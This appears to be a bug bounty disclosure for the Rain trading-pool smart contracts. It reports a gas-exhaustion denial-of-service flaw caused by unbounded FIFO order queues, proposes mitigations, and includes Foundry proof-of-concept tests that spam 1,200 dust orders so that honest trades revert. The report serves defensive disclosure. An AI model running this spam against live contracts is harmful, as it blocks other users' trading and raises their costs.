https://github.com/hackenproof-public/rain-contracts
Each option and price tick maintains its own FIFO queue (doubly‑linked list) of individual orders. The matching paths iterate these queues linearly without any hard cap on the number of nodes processed per transaction. This occurs in multiple entry points: market buys in enterOption first drain sell buckets up to the current price; placeBuyOrder sweeps sell buckets up to the user’s limit price; placeSellOrder sweeps buy buckets down to the user’s limit price. Minimum order sizes are effectively tiny (one smallest base unit for buy orders; the smallest vote amount that makes (votes*price)/1e18 ≥ 1 for sell orders, e.g., 100 votes at 0.01 or ~2 votes at 0.99), and there is no per‑maker aggregation at a tick. As a result, a single address can cheaply create thousands of nodes in one bucket and force subsequent matches to walk the queue node‑by‑node.
Code that exhibits the linear FIFO traversal (no node cap):
uint256 head = firstSellOrderPrice[option];
for (; head <= price && amount > 1; ) {
LinkedListStorage.LinkedList storage linkedListSell = sellOrders[option][head];
if (!linkedListSell.isEmpty()) {
idx = linkedListSell.first();
while (idx != linkedListSell.tailIndex && amount > 0) {
LinkedListStorage.Order memory order = linkedListSell.getData(idx);
idx = linkedListSell.next(idx);
(usedAmount, sharesReceived) = _executeSellOrder(option, head, amount, order.orderID, msg.sender);
amount -= usedAmount;
}
}
unchecked { head += TICK_SPACING; }
if (linkedListSell.isEmpty()) { firstSellOrderPrice[option] = head; }
}
A similar pattern appears in placeSellOrder for buy queues and in enterOption when draining sells up to the current price.
This is an availability/griefing issue. An attacker can cheaply deposit once to acquire votes (for sell spam) or base tokens (for buy spam), then submit a very large number of dust‑sized orders at a single tick, especially the head‑of‑book tick. Because matching iterates the bucket FIFO one node at a time, gas usage grows roughly linearly with the number of spammed nodes that must be touched. Honest users attempting market buys or limit orders that cross the spammed tick see markedly higher gas costs; with enough nodes, their transactions exceed block gas limits and revert, effectively blocking trading around those prices. On low‑fee networks (e.g., Base), the attacker’s capital requirement per node is minimal and escrow is refundable, making sustained spam practical.
This issue does not enable direct theft or permanent locking of user funds. However, it materially degrades price discovery and the ability to adjust positions, especially near end‑of‑sale, and can intermittently deny service to core trading actions until the spam is cleared. It impacts availability and user costs, not integrity of balances, yet can reliably prevent execution across targeted ticks.
Bound per‑call work, raise the economic floor for spam, and reduce node proliferation—without changing price/time priority.
Introduce a strict per‑transaction cap on nodes processed inside all matching loops (e.g., MAX_MATCHED_NODES_PER_TX), breaking once either funds/votes are exhausted or the cap is reached. This guarantees predictable gas per call while allowing callers to repeat to continue matching. Enforce meaningful minimum order sizes: for sells, require both votes ≥ MIN_VOTES and (votes*price)/1e18 ≥ MIN_NOTIONAL_BASE; for buys, require amount ≥ MIN_NOTIONAL_BASE; choose thresholds aligned with token decimals and typical gas costs so that generating thousands of nodes becomes uneconomic. Aggregate per‑maker per‑tick: if a maker already has an order at the same price, increase its amount rather than appending a new node, preserving FIFO across distinct makers while collapsing a single maker’s spam into one node. Optionally add a hard upper bound on total nodes per bucket (e.g., 1,000) that triggers aggregation or rejection with a clear error if exceeded. Keep head pointers fresh on cancel (advance to the next non‑empty bucket or set a sentinel), which avoids wasted scans of empty ticks. Finally, harden the linked‑list library with a double‑init guard in initialize and a validity check in remove to prevent any list corruption that could exacerbate traversal cost.
Together these measures retain market semantics (tick priority and FIFO within tick) while eliminating the unbounded gas vector and making the system robust on low‑fee chains.
I created several PoCs to prove this issue, keep in mind that since they would most likely deploy on base (from the configurations) this attack is pretty cheap.
function test_PoC_DoS_FIFOBucket_SellSpam_Reverts_OnLowGasStipend() public {
uint256 option = 1;
uint256 tick = rainPool.TICK_SPACING();
uint256 p = tick * 5; // 0.05
vm.warp(rainPool.startTime() + 1);
// Attacker prepares votes
address attacker = makeAddr("dos_attacker_sell");
deal(address(baseToken), attacker, 2_000_000); // 2 USDT
vm.startPrank(attacker);
baseToken.approve(address(rainPool), 2_000_000);
rainPool.enterOption(option, 2_000_000);
vm.stopPrank();
// Spam many tiny sell orders at one tick
uint256 N = 1200;
uint256 votesPerNode = 20; // minimal at p=0.05 to be nonzero
vm.startPrank(attacker);
for (uint256 i = 0; i < N; i++) {
rainPool.placeSellOrder(option, p, votesPerNode);
}
vm.stopPrank();
// Buyer tries to cross the bucket with a low gas stipend; expect failure
GasLimitedCaller glc = new GasLimitedCaller();
uint256 buyAmount = N; // 1 unit per node
deal(address(baseToken), address(glc), buyAmount);
glc.approve(address(baseToken), address(rainPool), buyAmount);
(bool success, ) = glc.callPlaceBuyOrder(address(rainPool), option, p, buyAmount, 120_000);
assertTrue(!success, "expected low-gas call to fail");
}
function test_PoC_DoS_FIFOBucket_BuySpam_Reverts_OnLowGasStipend() public {
uint256 option = 1;
uint256 tick = rainPool.TICK_SPACING();
uint256 p = tick * 5; // 0.05
vm.warp(rainPool.startTime() + 1);
// Attacker spams many tiny buy orders (1 unit each) at one tick
address attacker = makeAddr("dos_attacker_buy");
uint256 N = 1200;
uint256 perNode = 1; // minimal base unit
deal(address(baseToken), attacker, N * perNode);
vm.startPrank(attacker);
baseToken.approve(address(rainPool), N * perNode);
for (uint256 i = 0; i < N; i++) {
rainPool.placeBuyOrder(option, p, perNode);
}
vm.stopPrank();
// Seller is a gas-limited caller; acquire votes then attempt low-gas placeSellOrder
GasLimitedCaller glc = new GasLimitedCaller();
deal(address(baseToken), address(glc), 5_000_000);
// Approve and acquire votes for glc via prank as glc
vm.startPrank(address(glc));
baseToken.approve(address(rainPool), 5_000_000);
rainPool.enterOption(option, 5_000_000);
vm.stopPrank();
// Each buy node at p=0.05 consumes ~100 votes; cross many nodes
uint256 votes = 100 * N;
(bool success, ) = glc.callPlaceSellOrder(address(rainPool), option, p, votes, 120_000);
assertTrue(!success, "expected low-gas call to fail");
}